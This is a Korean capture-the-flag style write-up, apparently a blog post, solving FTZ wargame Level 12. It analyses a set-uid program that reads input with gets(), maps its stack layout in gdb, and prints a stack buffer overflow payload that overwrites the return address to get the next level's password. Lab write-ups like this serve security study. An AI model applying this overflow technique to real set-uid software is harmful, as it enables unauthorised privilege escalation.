Information Security
[FTZ] Level 12 본문
level 11처럼 attackme가 포함되어 있다
hint를 열어보니 코드가 적혀 있다
코드에 대해 분석해보자
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( void )
{
char str[256];
setreuid( 3093, 3093 );
printf( "문장을 입력하세요.\n" );
gets( str );
printf( "%s\n", str );
}
gets를 통해 str을 받아 출력하는 코드라고 해석할 수 있다
gdb를 사용하여 attackme를 분석해보자
49번을 보면 ebp-264부터 입력을 받는 것을 알 수 있다
낮은 주소
str[256]
dummy[8]
SFP[4]
RET[4]
높은 주소
level11가 같은 스택 구조임을 알 수 있다
환경변수를 사용해 문제를 풀어보자!
https://devpouch.tistory.com/125
[linux] 환경변수 설정, 확인 및 해제 명령어
리눅스 환경변수를 적용하기 위해서는 크게 일시적으로 적용하는 방법과 영구적으로 적용하는 방법으로 나뉜다. 아래 내용은 bash 쉘 기준으로 작성되었다. 리눅스 환경변수 일시 적용 $ export 환
devpouch.tistory.com
tmp로 이동하여 환경변수를 설정해주고 리턴주소를 알아내는 getenv.c을 만들어준다
getenv.c를 getenv로 컴파일해준 후 실행시키자
0xbffffc8c 을 리턴주소로 잡고 bof를 해준다
입력을 gets로 받기 때문에 다른 방법으로 실행시켜줘야 한다
(python -c 'print"\x90"*268+"\x8c\xfc\xff\xbf"'; cat) | ./attackme
level13 비밀번호 획득 성공!
'INTERLUDE > System Hacking' 카테고리의 다른 글
[Dreamhack] basic_exploitation_000 (1) | 2022.09.22 |
---|---|
BOF 스터디 (0) | 2022.09.20 |
[FTZ] Level 11 (0) | 2021.11.18 |
[FTZ] Level 10 (0) | 2021.11.11 |
[FTZ] Level 9 (0) | 2021.11.09 |